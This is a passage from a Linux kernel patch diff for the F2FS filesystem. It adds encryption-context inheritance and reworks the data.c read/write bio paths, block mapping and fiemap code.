(!parent_ci && !child_ci) + return 1; + if (!parent_ci || !child_ci) + return 0; + + return (memcmp(parent_ci->ci_master_key, + child_ci->ci_master_key, + F2FS_KEY_DESCRIPTOR_SIZE) == 0 && + (parent_ci->ci_data_mode == child_ci->ci_data_mode) && + (parent_ci->ci_filename_mode == child_ci->ci_filename_mode) && + (parent_ci->ci_flags == child_ci->ci_flags)); +} + +/** + * f2fs_inherit_context() - Sets a child context from its parent + * @parent: Parent inode from which the context is inherited. + * @child: Child inode that inherits the context from @parent. + * + * Return: Zero on success, non-zero otherwise + */ +int f2fs_inherit_context(struct inode *parent, struct inode *child, + struct page *ipage) +{ + struct f2fs_encryption_context ctx; + struct f2fs_crypt_info *ci; + int res; + + res = f2fs_get_encryption_info(parent); + if (res < 0) + return res; + + ci = F2FS_I(parent)->i_crypt_info; + BUG_ON(ci == NULL); + + ctx.format = F2FS_ENCRYPTION_CONTEXT_FORMAT_V1; + + ctx.contents_encryption_mode = ci->ci_data_mode; + ctx.filenames_encryption_mode = ci->ci_filename_mode; + ctx.flags = ci->ci_flags; + memcpy(ctx.master_key_descriptor, ci->ci_master_key, + F2FS_KEY_DESCRIPTOR_SIZE); + + get_random_bytes(ctx.nonce, F2FS_KEY_DERIVATION_NONCE_SIZE); + return f2fs_setxattr(child, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx, + sizeof(ctx), ipage, XATTR_CREATE); +} diff --git a/fs/f2fs/data.c b/fs/f2fs/data.c index 91ff93b0b0f40..e2f0dffdbf505 100644 --- a/fs/f2fs/data.c +++ b/fs/f2fs/data.c @@ -15,207 +15,356 @@ #include #include #include +#include #include #include #include +#include +#include #include "f2fs.h" #include "node.h" #include "segment.h" +#include "trace.h" #include +static void f2fs_read_end_io(struct bio *bio, int err) +{ + struct bio_vec *bvec; + int i; + + if (f2fs_bio_encrypted(bio)) { + if (err) { + f2fs_release_crypto_ctx(bio->bi_private); + } else { + f2fs_end_io_crypto_work(bio->bi_private, bio); + return; + } + } + + bio_for_each_segment_all(bvec, bio, i) { + struct page *page = bvec->bv_page; + + if (!err) { + SetPageUptodate(page); + } else { + ClearPageUptodate(page); + SetPageError(page); + } + unlock_page(page); + } + bio_put(bio); +} + +static void f2fs_write_end_io(struct bio *bio, int err) +{ + struct f2fs_sb_info *sbi = bio->bi_private; + struct bio_vec *bvec; + int i; + + bio_for_each_segment_all(bvec, bio, i) { + struct page *page = bvec->bv_page; + + f2fs_restore_and_release_control_page(&page); + + if (unlikely(err)) { + set_page_dirty(page); + set_bit(AS_EIO, &page->mapping->flags); + f2fs_stop_checkpoint(sbi); + } + end_page_writeback(page); + dec_page_count(sbi, F2FS_WRITEBACK); + } + + if (!get_pages(sbi, F2FS_WRITEBACK) && + !list_empty(&sbi->cp_wait.task_list)) + wake_up(&sbi->cp_wait); + + bio_put(bio); +} + +/* + * Low-level block read/write IO operations. + */ +static struct bio *__bio_alloc(struct f2fs_sb_info *sbi, block_t blk_addr, + int npages, bool is_read) +{ + struct bio *bio; + + bio = f2fs_bio_alloc(npages); + + bio->bi_bdev = sbi->sb->s_bdev; + bio->bi_sector = SECTOR_FROM_BLOCK(blk_addr); + bio->bi_end_io = is_read ? f2fs_read_end_io : f2fs_write_end_io; + bio->bi_private = is_read ? NULL : sbi; + + return bio; +} + +static void __submit_merged_bio(struct f2fs_bio_info *io) +{ + struct f2fs_io_info *fio = &io->fio; + + if (!io->bio) + return; + + if (is_read_io(fio->rw)) + trace_f2fs_submit_read_bio(io->sbi->sb, fio, io->bio); + else + trace_f2fs_submit_write_bio(io->sbi->sb, fio, io->bio); + + submit_bio(fio->rw, io->bio); + io->bio = NULL; +} + +void f2fs_submit_merged_bio(struct f2fs_sb_info *sbi, + enum page_type type, int rw) +{ + enum page_type btype = PAGE_TYPE_OF_BIO(type); + struct f2fs_bio_info *io; + + io = is_read_io(rw) ? &sbi->read_io : &sbi->write_io[btype]; + + down_write(&io->io_rwsem); + + /* change META to META_FLUSH in the checkpoint procedure */ + if (type >= META_FLUSH) { + io->fio.type = META_FLUSH; + if (test_opt(sbi, NOBARRIER)) + io->fio.rw = WRITE_FLUSH | REQ_META | REQ_PRIO; + else + io->fio.rw = WRITE_FLUSH_FUA | REQ_META | REQ_PRIO; + } + __submit_merged_bio(io); + up_write(&io->io_rwsem); +} + +/* + * Fill the locked page with data located in the block address. + * Return unlocked page. + */ +int f2fs_submit_page_bio(struct f2fs_io_info *fio) +{ + struct bio *bio; + struct page *page = fio->encrypted_page ? fio->encrypted_page : fio->page; + + trace_f2fs_submit_page_bio(page, fio); + f2fs_trace_ios(fio, 0); + + /* Allocate a new bio */ + bio = __bio_alloc(fio->sbi, fio->blk_addr, 1, is_read_io(fio->rw)); + + if (bio_add_page(bio, page, PAGE_CACHE_SIZE, 0) < PAGE_CACHE_SIZE) { + bio_put(bio); + return -EFAULT; + } + + submit_bio(fio->rw, bio); + return 0; +} + +void f2fs_submit_page_mbio(struct f2fs_io_info *fio) +{ + struct f2fs_sb_info *sbi = fio->sbi; + enum page_type btype = PAGE_TYPE_OF_BIO(fio->type); + struct f2fs_bio_info *io; + bool is_read = is_read_io(fio->rw); + struct page *bio_page; + + io = is_read ? &sbi->read_io : &sbi->write_io[btype]; + + verify_block_addr(sbi, fio->blk_addr); + + down_write(&io->io_rwsem); + + if (!is_read) + inc_page_count(sbi, F2FS_WRITEBACK); + + if (io->bio && (io->last_block_in_bio != fio->blk_addr - 1 || + io->fio.rw != fio->rw)) + __submit_merged_bio(io); +alloc_new: + if (io->bio == NULL) { + int bio_blocks = MAX_BIO_BLOCKS(sbi); + + io->bio = __bio_alloc(sbi, fio->blk_addr, bio_blocks, is_read); + io->fio = *fio; + } + + bio_page = fio->encrypted_page ? fio->encrypted_page : fio->page; + + if (bio_add_page(io->bio, bio_page, PAGE_CACHE_SIZE, 0) < + PAGE_CACHE_SIZE) { + __submit_merged_bio(io); + goto alloc_new; + } + + io->last_block_in_bio = fio->blk_addr; + f2fs_trace_ios(fio, 0); + + up_write(&io->io_rwsem); + trace_f2fs_submit_page_mbio(fio->page, fio); +} + /* * Lock ordering for the change of data block address: * ->data_page * ->node_page * update block addresses in the node page */ -static void __set_data_blkaddr(struct dnode_of_data *dn, block_t new_addr) +void set_data_blkaddr(struct dnode_of_data *dn) { struct f2fs_node *rn; __le32 *addr_array; struct page *node_page = dn->node_page; unsigned int ofs_in_node = dn->ofs_in_node; - wait_on_page_writeback(node_page); + f2fs_wait_on_page_writeback(node_page, NODE); - rn = (struct f2fs_node *)page_address(node_page); + rn = F2FS_NODE(node_page); /* Get physical address of data block */ addr_array = blkaddr_in_node(rn); - addr_array[ofs_in_node] = cpu_to_le32(new_addr); + addr_array[ofs_in_node] = cpu_to_le32(dn->data_blkaddr); set_page_dirty(node_page); } int reserve_new_block(struct dnode_of_data *dn) { - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); - if (is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC)) + if (unlikely(is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC))) return -EPERM; - if (!inc_valid_block_count(sbi, dn->inode, 1)) + if (unlikely(!inc_valid_block_count(sbi, dn->inode, 1))) return -ENOSPC; trace_f2fs_reserve_new_block(dn->inode, dn->nid, dn->ofs_in_node); - __set_data_blkaddr(dn, NEW_ADDR); dn->data_blkaddr = NEW_ADDR; + set_data_blkaddr(dn); + mark_inode_dirty(dn->inode); sync_inode_page(dn); return 0; } -static int check_extent_cache(struct inode *inode, pgoff_t pgofs, - struct buffer_head *bh_result) +int f2fs_reserve_block(struct dnode_of_data *dn, pgoff_t index) { - struct f2fs_inode_info *fi = F2FS_I(inode); - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - pgoff_t start_fofs, end_fofs; - block_t start_blkaddr; - - read_lock(&fi->ext.ext_lock); - if (fi->ext.len == 0) { - read_unlock(&fi->ext.ext_lock); - return 0; - } + bool need_put = dn->inode_page ? false : true; + int err; - sbi->total_hit_ext++; - start_fofs = fi->ext.fofs; - end_fofs = fi->ext.fofs + fi->ext.len - 1; - start_blkaddr = fi->ext.blk_addr; + err = get_dnode_of_data(dn, index, ALLOC_NODE); + if (err) + return err; - if (pgofs >= start_fofs && pgofs <= end_fofs) { - unsigned int blkbits = inode->i_sb->s_blocksize_bits; - size_t count; + if (dn->data_blkaddr == NULL_ADDR) + err = reserve_new_block(dn); + if (err || need_put) + f2fs_put_dnode(dn); + return err; +} - clear_buffer_new(bh_result); - map_bh(bh_result, inode->i_sb, - start_blkaddr + pgofs - start_fofs); - count = end_fofs - pgofs + 1; - if (count < (UINT_MAX >> blkbits)) - bh_result->b_size = (count << blkbits); - else - bh_result->b_size = UINT_MAX; +int f2fs_get_block(struct dnode_of_data *dn, pgoff_t index) +{ + struct extent_info ei; + struct inode *inode = dn->inode; - sbi->read_hit_ext++; - read_unlock(&fi->ext.ext_lock); - return 1; + if (f2fs_lookup_extent_cache(inode, index, &ei)) { + dn->data_blkaddr = ei.blk + index - ei.fofs; + return 0; } - read_unlock(&fi->ext.ext_lock); - return 0; + + return f2fs_reserve_block(dn, index); } -void update_extent_cache(block_t blk_addr, struct dnode_of_data *dn) +struct page *get_read_data_page(struct inode *inode, pgoff_t index, + int rw, bool for_write) { - struct f2fs_inode_info *fi = F2FS_I(dn->inode); - pgoff_t fofs, start_fofs, end_fofs; - block_t start_blkaddr, end_blkaddr; - - BUG_ON(blk_addr == NEW_ADDR); - fofs = start_bidx_of_node(ofs_of_node(dn->node_page)) + dn->ofs_in_node; + struct address_space *mapping = inode->i_mapping; + struct dnode_of_data dn; + struct page *page; + struct extent_info ei; + int err; + struct f2fs_io_info fio = { + .sbi = F2FS_I_SB(inode), + .type = DATA, + .rw = rw, + .encrypted_page = NULL, + }; - /* Update the page address in the parent node */ - __set_data_blkaddr(dn, blk_addr); + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) + return read_mapping_page(mapping, index, NULL); - write_lock(&fi->ext.ext_lock); + page = f2fs_grab_cache_page(mapping, index, for_write); + if (!page) + return ERR_PTR(-ENOMEM); - start_fofs = fi->ext.fofs; - end_fofs = fi->ext.fofs + fi->ext.len - 1; - start_blkaddr = fi->ext.blk_addr; - end_blkaddr = fi->ext.blk_addr + fi->ext.len - 1; + if (f2fs_lookup_extent_cache(inode, index, &ei)) { + dn.data_blkaddr = ei.blk + index - ei.fofs; + goto got_it; + } - /* Drop and initialize the matched extent */ - if (fi->ext.len == 1 && fofs == start_fofs) - fi->ext.len = 0; + set_new_dnode(&dn, inode, NULL, NULL, 0); + err = get_dnode_of_data(&dn, index, LOOKUP_NODE); + if (err) + goto put_err; + f2fs_put_dnode(&dn); - /* Initial extent */ - if (fi->ext.len == 0) { - if (blk_addr != NULL_ADDR) { - fi->ext.fofs = fofs; - fi->ext.blk_addr = blk_addr; - fi->ext.len = 1; - } - goto end_update; + if (unlikely(dn.data_blkaddr == NULL_ADDR)) { + err = -ENOENT; + goto put_err; } - - /* Front merge */ - if (fofs == start_fofs - 1 && blk_addr == start_blkaddr - 1) { - fi->ext.fofs--; - fi->ext.blk_addr--; - fi->ext.len++; - goto end_update; +got_it: + if (PageUptodate(page)) { + unlock_page(page); + return page; } - /* Back merge */ - if (fofs == end_fofs + 1 && blk_addr == end_blkaddr + 1) { - fi->ext.len++; - goto end_update; + /* + * A new dentry page is allocated but not able to be written, since its + * new inode page couldn't be allocated due to -ENOSPC. + * In such the case, its blkaddr can be remained as NEW_ADDR. + * see, f2fs_add_link -> get_new_data_page -> init_inode_metadata. + */ + if (dn.data_blkaddr == NEW_ADDR) { + zero_user_segment(page, 0, PAGE_CACHE_SIZE); + SetPageUptodate(page); + unlock_page(page); + return page; } - /* Split the existing extent */ - if (fi->ext.len > 1 && - fofs >= start_fofs && fofs <= end_fofs) { - if ((end_fofs - fofs) < (fi->ext.len >> 1)) { - fi->ext.len = fofs - start_fofs; - } else { - fi->ext.fofs = fofs + 1; - fi->ext.blk_addr = start_blkaddr + - fofs - start_fofs + 1; - fi->ext.len -= fofs - start_fofs + 1; - } - goto end_update; - } - write_unlock(&fi->ext.ext_lock); - return; + fio.blk_addr = dn.data_blkaddr; + fio.page = page; + err = f2fs_submit_page_bio(&fio); + if (err) + goto put_err; + return page; -end_update: - write_unlock(&fi->ext.ext_lock); - sync_inode_page(dn); - return; +put_err: + f2fs_put_page(page, 1); + return ERR_PTR(err); } -struct page *find_data_page(struct inode *inode, pgoff_t index, bool sync) +struct page *find_data_page(struct inode *inode, pgoff_t index) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); struct address_space *mapping = inode->i_mapping; - struct dnode_of_data dn; struct page *page; - int err; page = find_get_page(mapping, index); if (page && PageUptodate(page)) return page; f2fs_put_page(page, 0); - set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, index, LOOKUP_NODE); - if (err) - return ERR_PTR(err); - f2fs_put_dnode(&dn); - - if (dn.data_blkaddr == NULL_ADDR) - return ERR_PTR(-ENOENT); - - /* By fallocate(), there is no cached page, but with NEW_ADDR */ - if (dn.data_blkaddr == NEW_ADDR) - return ERR_PTR(-EINVAL); - - page = grab_cache_page(mapping, index); - if (!page) - return ERR_PTR(-ENOMEM); + page = get_read_data_page(inode, index, READ_SYNC, false); + if (IS_ERR(page)) + return page; - if (PageUptodate(page)) { - unlock_page(page); + if (PageUptodate(page)) return page; - } - err = f2fs_readpage(sbi, page, dn.data_blkaddr, - sync ? READ_SYNC : READA); - if (sync) { - wait_on_page_locked(page); - if (!PageUptodate(page)) { - f2fs_put_page(page, 0); - return ERR_PTR(-EIO); - } + wait_on_page_locked(page); + if (unlikely(!PageUptodate(page))) { + f2fs_put_page(page, 0); + return ERR_PTR(-EIO); } return page; } @@ -225,43 +374,23 @@ struct page *find_data_page(struct inode *inode, pgoff_t index, bool sync) * Because, the callers, functions in dir.c and GC, should be able to know * whether this page exists or not. */ -struct page *get_lock_data_page(struct inode *inode, pgoff_t index) +struct page *get_lock_data_page(struct inode *inode, pgoff_t index, + bool for_write) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); struct address_space *mapping = inode->i_mapping; - struct dnode_of_data dn; struct page *page; - int err; - - set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, index, LOOKUP_NODE); - if (err) - return ERR_PTR(err); - f2fs_put_dnode(&dn); - - if (dn.data_blkaddr == NULL_ADDR) - return ERR_PTR(-ENOENT); repeat: - page = grab_cache_page(mapping, index); - if (!page) - return ERR_PTR(-ENOMEM); - - if (PageUptodate(page)) + page = get_read_data_page(inode, index, READ_SYNC, for_write); + if (IS_ERR(page)) return page; - BUG_ON(dn.data_blkaddr == NEW_ADDR); - BUG_ON(dn.data_blkaddr == NULL_ADDR); - - err = f2fs_readpage(sbi, page, dn.data_blkaddr, READ_SYNC); - if (err) - return ERR_PTR(err); - + /* wait for read completion */ lock_page(page); - if (!PageUptodate(page)) { + if (unlikely(!PageUptodate(page))) { f2fs_put_page(page, 1); return ERR_PTR(-EIO); } - if (page->mapping != mapping) { + if (unlikely(page->mapping != mapping)) { f2fs_put_page(page, 1); goto repeat; } @@ -272,195 +401,652 @@ struct page *get_lock_data_page(struct inode *inode, pgoff_t index) * Caller ensures that this data page is never allocated. * A new zero-filled data page is allocated in the page cache. * - * Also, caller should grab and release a mutex by calling mutex_lock_op() and - * mutex_unlock_op(). + * Also, caller should grab and release a rwsem by calling f2fs_lock_op() and + * f2fs_unlock_op(). + * Note that, ipage is set only by make_empty_dir, and if any error occur, + * ipage should be released by this function. */ -struct page *get_new_data_page(struct inode *inode, pgoff_t index, - bool new_i_size) +struct page *get_new_data_page(struct inode *inode, + struct page *ipage, pgoff_t index, bool new_i_size) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); struct address_space *mapping = inode->i_mapping; struct page *page; struct dnode_of_data dn; int err; +repeat: + page = f2fs_grab_cache_page(mapping, index, true); + if (!page) { + /* + * before exiting, we should make sure ipage will be released + * if any error occur. + */ + f2fs_put_page(ipage, 1); + return ERR_PTR(-ENOMEM); + } - set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, index, ALLOC_NODE); - if (err) + set_new_dnode(&dn, inode, ipage, NULL, 0); + err = f2fs_reserve_block(&dn, index); + if (err) { + f2fs_put_page(page, 1); return ERR_PTR(err); - - if (dn.data_blkaddr == NULL_ADDR) { - if (reserve_new_block(&dn)) { - f2fs_put_dnode(&dn); - return ERR_PTR(-ENOSPC); - } } - f2fs_put_dnode(&dn); -repeat: - page = grab_cache_page(mapping, index); - if (!page) - return ERR_PTR(-ENOMEM); + if (!ipage) + f2fs_put_dnode(&dn); if (PageUptodate(page)) - return page; + goto got_it; if (dn.data_blkaddr == NEW_ADDR) { zero_user_segment(page, 0, PAGE_CACHE_SIZE); SetPageUptodate(page); } else { - err = f2fs_readpage(sbi, page, dn.data_blkaddr, READ_SYNC); - if (err) - return ERR_PTR(err); - lock_page(page); - if (!PageUptodate(page)) { - f2fs_put_page(page, 1); - return ERR_PTR(-EIO); - } - if (page->mapping != mapping) { - f2fs_put_page(page, 1); + f2fs_put_page(page, 1); + + page = get_read_data_page(inode, index, READ_SYNC, true); + if (IS_ERR(page)) goto repeat; - } - } - if (new_i_size && - i_size_read(inode) < ((index + 1) << PAGE_CACHE_SHIFT)) { - i_size_write(inode, ((index + 1) << PAGE_CACHE_SHIFT)); - mark_inode_dirty_sync(inode); + /* wait for read completion */ + lock_page(page); + } +got_it: + if (new_i_size && i_size_read(inode) < + ((loff_t)(index + 1) << PAGE_CACHE_SHIFT)) { + i_size_write(inode, ((loff_t)(index + 1) << PAGE_CACHE_SHIFT)); + /* Only the directory inode sets new_i_size */ + set_inode_flag(F2FS_I(inode), FI_UPDATE_DIR); } return page; } -static void read_end_io(struct bio *bio, int err) +static int __allocate_data_block(struct dnode_of_data *dn) { - const int uptodate = test_bit(BIO_UPTODATE, &bio->bi_flags); - struct bio_vec *bvec = bio->bi_io_vec + bio->bi_vcnt - 1; + struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); + struct f2fs_inode_info *fi = F2FS_I(dn->inode); + struct f2fs_summary sum; + struct node_info ni; + int seg = CURSEG_WARM_DATA; + pgoff_t fofs; - do { - struct page *page = bvec->bv_page; + if (unlikely(is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC))) + return -EPERM; - if (--bvec >= bio->bi_io_vec) - prefetchw(&bvec->bv_page->flags); + dn->data_blkaddr = datablock_addr(dn->node_page, dn->ofs_in_node); + if (dn->data_blkaddr == NEW_ADDR) + goto alloc; - if (uptodate) { - SetPageUptodate(page); - } else { - ClearPageUptodate(page); - SetPageError(page); + if (unlikely(!inc_valid_block_count(sbi, dn->inode, 1))) + return -ENOSPC; + +alloc: + get_node_info(sbi, dn->nid, &ni); + set_summary(&sum, dn->nid, dn->ofs_in_node, ni.version); + + if (dn->ofs_in_node == 0 && dn->inode_page == dn->node_page) + seg = CURSEG_DIRECT_IO; + + allocate_data_block(sbi, NULL, dn->data_blkaddr, &dn->data_blkaddr, + &sum, seg); + set_data_blkaddr(dn); + + /* update i_size */ + fofs = start_bidx_of_node(ofs_of_node(dn->node_page), fi) + + dn->ofs_in_node; + if (i_size_read(dn->inode) < ((loff_t)(fofs + 1) << PAGE_CACHE_SHIFT)) + i_size_write(dn->inode, + ((loff_t)(fofs + 1) << PAGE_CACHE_SHIFT)); + + /* direct IO doesn't use extent cache to maximize the performance */ + f2fs_drop_largest_extent(dn->inode, fofs); + + return 0; +} + +static void __allocate_data_blocks(struct inode *inode, loff_t offset, + size_t count) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct dnode_of_data dn; + u64 start = F2FS_BYTES_TO_BLK(offset); + u64 len = F2FS_BYTES_TO_BLK(count); + bool allocated; + u64 end_offset; + + while (len) { + f2fs_balance_fs(sbi); + f2fs_lock_op(sbi); + + /* When reading holes, we need its node page */ + set_new_dnode(&dn, inode, NULL, NULL, 0); + if (get_dnode_of_data(&dn, start, ALLOC_NODE)) + goto out; + + allocated = false; + end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + + while (dn.ofs_in_node < end_offset && len) { + block_t blkaddr; + + if (unlikely(f2fs_cp_error(sbi))) + goto sync_out; + + blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); + if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR) { + if (__allocate_data_block(&dn)) + goto sync_out; + allocated = true; + } + len--; + start++; + dn.ofs_in_node++; } - unlock_page(page); - } while (bvec >= bio->bi_io_vec); - kfree(bio->bi_private); - bio_put(bio); + + if (allocated) + sync_inode_page(&dn); + + f2fs_put_dnode(&dn); + f2fs_unlock_op(sbi); + } + return; + +sync_out: + if (allocated) + sync_inode_page(&dn); + f2fs_put_dnode(&dn); +out: + f2fs_unlock_op(sbi); + return; } /* - * Fill the locked page with data located in the block address. - * Return unlocked page. + * f2fs_map_blocks() now supported readahead/bmap/rw direct_IO with + * f2fs_map_blocks structure. + * If original data blocks are allocated, then give them to blockdev. + * Otherwise, + * a. preallocate requested block addresses + * b. do not use extent cache for better performance + * c. give the block addresses to blockdev */ -int f2fs_readpage(struct f2fs_sb_info *sbi, struct page *page, - block_t blk_addr, int type) +static int f2fs_map_blocks(struct inode *inode, struct f2fs_map_blocks *map, + int create, int flag) { - struct block_device *bdev = sbi->sb->s_bdev; - struct bio *bio; + unsigned int maxblocks = map->m_len; + struct dnode_of_data dn; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + int mode = create ? ALLOC_NODE : LOOKUP_NODE_RA; + pgoff_t pgofs, end_offset; + int err = 0, ofs = 1; + struct extent_info ei; + bool allocated = false; + + map->m_len = 0; + map->m_flags = 0; + + /* it only supports block size == page size */ + pgofs = (pgoff_t)map->m_lblk; + + if (f2fs_lookup_extent_cache(inode, pgofs, &ei)) { + map->m_pblk = ei.blk + pgofs - ei.fofs; + map->m_len = min((pgoff_t)maxblocks, ei.fofs + ei.len - pgofs); + map->m_flags = F2FS_MAP_MAPPED; + goto out; + } - trace_f2fs_readpage(page, blk_addr, type); + if (create) + f2fs_lock_op(F2FS_I_SB(inode)); - down_read(&sbi->bio_sem); + /* When reading holes, we need its node page */ + set_new_dnode(&dn, inode, NULL, NULL, 0); + err = get_dnode_of_data(&dn, pgofs, mode); + if (err) { + if (err == -ENOENT) + err = 0; + goto unlock_out; + } - /* Allocate a new bio */ - bio = f2fs_bio_alloc(bdev, 1); + if (dn.data_blkaddr == NEW_ADDR || dn.data_blkaddr == NULL_ADDR) { + if (create) { + if (unlikely(f2fs_cp_error(sbi))) { + err = -EIO; + goto put_out; + } + err = __allocate_data_block(&dn); + if (err) + goto put_out; + allocated = true; + map->m_flags = F2FS_MAP_NEW; + } else { + if (flag != F2FS_GET_BLOCK_FIEMAP || + dn.data_blkaddr != NEW_ADDR) { + if (flag == F2FS_GET_BLOCK_BMAP) + err = -ENOENT; + goto put_out; + } + + /* + * preallocated unwritten block should be mapped + * for fiemap. + */ + if (dn.data_blkaddr == NEW_ADDR) + map->m_flags = F2FS_MAP_UNWRITTEN; + } + } - /* Initialize the bio */ - bio->bi_sector = SECTOR_FROM_BLOCK(sbi, blk_addr); - bio->bi_end_io = read_end_io; + map->m_flags |= F2FS_MAP_MAPPED; + map->m_pblk = dn.data_blkaddr; + map->m_len = 1; + + end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + dn.ofs_in_node++; + pgofs++; + +get_next: + if (dn.ofs_in_node >= end_offset) { + if (allocated) + sync_inode_page(&dn); + allocated = false; + f2fs_put_dnode(&dn); + + set_new_dnode(&dn, inode, NULL, NULL, 0); + err = get_dnode_of_data(&dn, pgofs, mode); + if (err) { + if (err == -ENOENT) + err = 0; + goto unlock_out; + } - if (bio_add_page(bio, page, PAGE_CACHE_SIZE, 0) < PAGE_CACHE_SIZE) { - kfree(bio->bi_private); - bio_put(bio); - up_read(&sbi->bio_sem); - f2fs_put_page(page, 1); - return -EFAULT; + end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); } - submit_bio(type, bio); - up_read(&sbi->bio_sem); - return 0; + if (maxblocks > map->m_len) { + block_t blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); + + if (blkaddr == NEW_ADDR || blkaddr == NULL_ADDR) { + if (create) { + if (unlikely(f2fs_cp_error(sbi))) { + err = -EIO; + goto sync_out; + } + err = __allocate_data_block(&dn); + if (err) + goto sync_out; + allocated = true; + map->m_flags |= F2FS_MAP_NEW; + blkaddr = dn.data_blkaddr; + } else { + /* + * we only merge preallocated unwritten blocks + * for fiemap. + */ + if (flag != F2FS_GET_BLOCK_FIEMAP || + blkaddr != NEW_ADDR) + goto sync_out; + } + } + + /* Give more consecutive addresses for the readahead */ + if ((map->m_pblk != NEW_ADDR && + blkaddr == (map->m_pblk + ofs)) || + (map->m_pblk == NEW_ADDR && + blkaddr == NEW_ADDR)) { + ofs++; + dn.ofs_in_node++; + pgofs++; + map->m_len++; + goto get_next; + } + } +sync_out: + if (allocated) + sync_inode_page(&dn); +put_out: + f2fs_put_dnode(&dn); +unlock_out: + if (create) + f2fs_unlock_op(F2FS_I_SB(inode)); +out: + trace_f2fs_map_blocks(inode, map, err); + return err; } -/* - * This function should be used by the data read flow only where it - * does not check the "create" flag that indicates block allocation. - * The reason for this special functionality is to exploit VFS readahead - * mechanism. - */ -static int get_data_block_ro(struct inode *inode, sector_t iblock, +static int __get_data_block(struct inode *inode, sector_t iblock, + struct buffer_head *bh, int create, int flag) +{ + struct f2fs_map_blocks map; + int ret; + + map.m_lblk = iblock; + map.m_len = bh->b_size >> inode->i_blkbits; + + ret = f2fs_map_blocks(inode, &map, create, flag); + if (!ret) { + map_bh(bh, inode->i_sb, map.m_pblk); + bh->b_state = (bh->b_state & ~F2FS_MAP_FLAGS) | map.m_flags; + bh->b_size = map.m_len << inode->i_blkbits; + } + return ret; +} + +static int get_data_block(struct inode *inode, sector_t iblock, + struct buffer_head *bh_result, int create, int flag) +{ + return __get_data_block(inode, iblock, bh_result, create, flag); +} + +static int get_data_block_dio(struct inode *inode, sector_t iblock, struct buffer_head *bh_result, int create) { - unsigned int blkbits = inode->i_sb->s_blocksize_bits; - unsigned maxblocks = bh_result->b_size >> blkbits; - struct dnode_of_data dn; - pgoff_t pgofs; - int err; + return __get_data_block(inode, iblock, bh_result, create, + F2FS_GET_BLOCK_DIO); +} - /* Get the page offset from the block offset(iblock) */ - pgofs = (pgoff_t)(iblock >> (PAGE_CACHE_SHIFT - blkbits)); +static int get_data_block_bmap(struct inode *inode, sector_t iblock, + struct buffer_head *bh_result, int create) +{ + return __get_data_block(inode, iblock, bh_result, create, + F2FS_GET_BLOCK_BMAP); +} - if (check_extent_cache(inode, pgofs, bh_result)) { - trace_f2fs_get_data_block(inode, iblock, bh_result, 0); - return 0; +static inline sector_t logical_to_blk(struct inode *inode, loff_t offset) +{ + return (offset >> inode->i_blkbits); +} + +static inline loff_t blk_to_logical(struct inode *inode, sector_t blk) +{ + return (blk << inode->i_blkbits); +} + +int f2fs_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, + u64 start, u64 len) +{ + struct buffer_head map_bh; + sector_t start_blk, last_blk; + loff_t isize = i_size_read(inode); + u64 logical = 0, phys = 0, size = 0; + u32 flags = 0; + bool past_eof = false, whole_file = false; + int ret = 0; + + ret = fiemap_check_flags(fieinfo, FIEMAP_FLAG_SYNC); + if (ret) + return ret; + + if (f2fs_has_inline_data(inode)) { + ret = f2fs_inline_data_fiemap(inode, fieinfo, start, len); + if (ret != -EAGAIN) + return ret; } - /* When reading holes, we need its node page */ - set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, pgofs, LOOKUP_NODE_RA); - if (err) { - trace_f2fs_get_data_block(inode, iblock, bh_result, err); - return (err == -ENOENT) ? 0 : err; + mutex_lock(&inode->i_mutex); + + if (len >= isize) { + whole_file = true; + len = isize; } - /* It does not support data allocation */ - BUG_ON(create); + if (logical_to_blk(inode, len) == 0) + len = blk_to_logical(inode, 1); - if (dn.data_blkaddr != NEW_ADDR && dn.data_blkaddr != NULL_ADDR) { - int i; - unsigned int end_offset; + start_blk = logical_to_blk(inode, start); + last_blk = logical_to_blk(inode, start + len - 1); +next: + memset(&map_bh, 0, sizeof(struct buffer_head)); + map_bh.b_size = len; - end_offset = IS_INODE(dn.node_page) ? - ADDRS_PER_INODE : - ADDRS_PER_BLOCK; + ret = get_data_block(inode, start_blk, &map_bh, 0, + F2FS_GET_BLOCK_FIEMAP); + if (ret) + goto out; - clear_buffer_new(bh_result); + /* HOLE */ + if (!buffer_mapped(&map_bh)) { + start_blk++; + + if (!past_eof && blk_to_logical(inode, start_blk) >= isize) + past_eof = 1; + + if (past_eof && size) { + flags |= FIEMAP_EXTENT_LAST; + ret = fiemap_fill_next_extent(fieinfo, logical, + phys, size, flags); + } else if (size) { + ret = fiemap_fill_next_extent(fieinfo, logical, + phys, size, flags); + size = 0; + } - /* Give more consecutive addresses for the read ahead */ - for (i = 0; i < end_offset - dn.ofs_in_node; i++) - if (((datablock_addr(dn.node_page, - dn.ofs_in_node + i)) - != (dn.data_blkaddr + i)) || maxblocks == i) - break; - map_bh(bh_result, inode->i_sb, dn.data_blkaddr); - bh_result->b_size = (i << blkbits); + /* if we have holes up to/past EOF then we're done */ + if (start_blk > last_blk || past_eof || ret) + goto out; + } else { + if (start_blk > last_blk && 